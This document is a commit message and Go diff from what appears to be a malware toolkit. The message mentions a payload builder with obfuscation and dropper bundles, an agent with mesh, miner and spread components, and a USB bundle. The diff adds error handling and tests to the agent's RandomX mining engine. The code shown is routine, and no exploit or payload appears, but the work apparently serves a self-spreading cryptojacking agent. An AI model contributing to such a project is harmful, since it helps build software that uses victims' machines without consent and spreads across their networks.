fix: 2026-06-04 audit pass — README, USB pack, multi-area fixes

WS ticket dashboard auth, builder universal signing/size limits/fusion obfuscation/dropper bundles, Path Tracer WireGuard topology, SessionGate degraded mode and download timeouts, server bootstrap (data dir, cloudflared dedupe, config port precedence), agent mesh/miner/spread fixes. README refreshed; usb bundle repacked; PROBLEMS.md audit log updated.

agent/miner/engine.go

@@ -2,11 +2,18 @@ package miner
 
 import (
 	"encoding/hex"
+	"errors"
+	"fmt"
 	"sync"
 
 	"git.gammaspectra.live/P2Pool/go-randomx"
 )
 
+var (
+	ErrEngineNotReady = errors.New("randomx VM not initialized")
+	ErrBlobTooShort   = errors.New("blob shorter than nonce offset")
+)
+
 const nonceOffset = 39
 const nonceSize = 4
 
@@ -59,8 +66,11 @@ func (e *Engine) HashAtNonce(nonce uint32) (hashHex string, blobHex string, err
 	e.mu.RLock()
 	defer e.mu.RUnlock()
 
-	if e.vm == nil || len(e.blob) < nonceOffset+nonceSize {
-		return "", "", nil
+	if e.vm == nil {
+		return "", "", ErrEngineNotReady
+	}
+	if len(e.blob) < nonceOffset+nonceSize {
+		return "", "", fmt.Errorf("%w (need %d bytes, have %d)", ErrBlobTooShort, nonceOffset+nonceSize, len(e.blob))
 	}
 
 	work := append([]byte(nil), e.blob...)

agent/miner/engine_test.go

@@ -1,6 +1,7 @@
 package miner
 
 import (
+	"errors"
 	"fmt"
 	"strings"
 	"testing"
@@ -31,11 +32,11 @@ func TestEngineSetJobInvalidBlob(t *testing.T) {
 func TestEngineHashAtNonceNoVM(t *testing.T) {
 	e := NewEngine()
 	hash, blob, err := e.HashAtNonce(0)
-	if err != nil {
-		t.Fatalf("unexpected error: %v", err)
+	if !errors.Is(err, ErrEngineNotReady) {
+		t.Fatalf("expected ErrEngineNotReady, got err=%v hash=%q blob=%q", err, hash, blob)
 	}
 	if hash != "" || blob != "" {
-		t.Fatalf("empty VM should return empty strings, got hash=%q blob=%q", hash, blob)
+		t.Fatalf("unready VM should return empty strings, got hash=%q blob=%q", hash, blob)
 	}
 }
 
@@ -46,11 +47,11 @@ func TestEngineHashAtNonceShortBlob(t *testing.T) {
 		t.Fatal(err)
 	}
 	hash, blob, err := e.HashAtNonce(1)
-	if err != nil {
-		t.Fatal(err)
+	if !errors.Is(err, ErrBlobTooShort) {
+		t.Fatalf("expected ErrBlobTooShort, got err=%v hash=%q blob=%q", err, hash, blob)
 	}
 	if hash != "" || blob != "" {
-		t.Fatalf("blob shorter than nonce offset should not hash, got hash=%q blob=%q", hash, blob)
+		t.Fatalf("short blob should return empty strings, got hash=%q blob=%q", hash, blob)
 	}
 }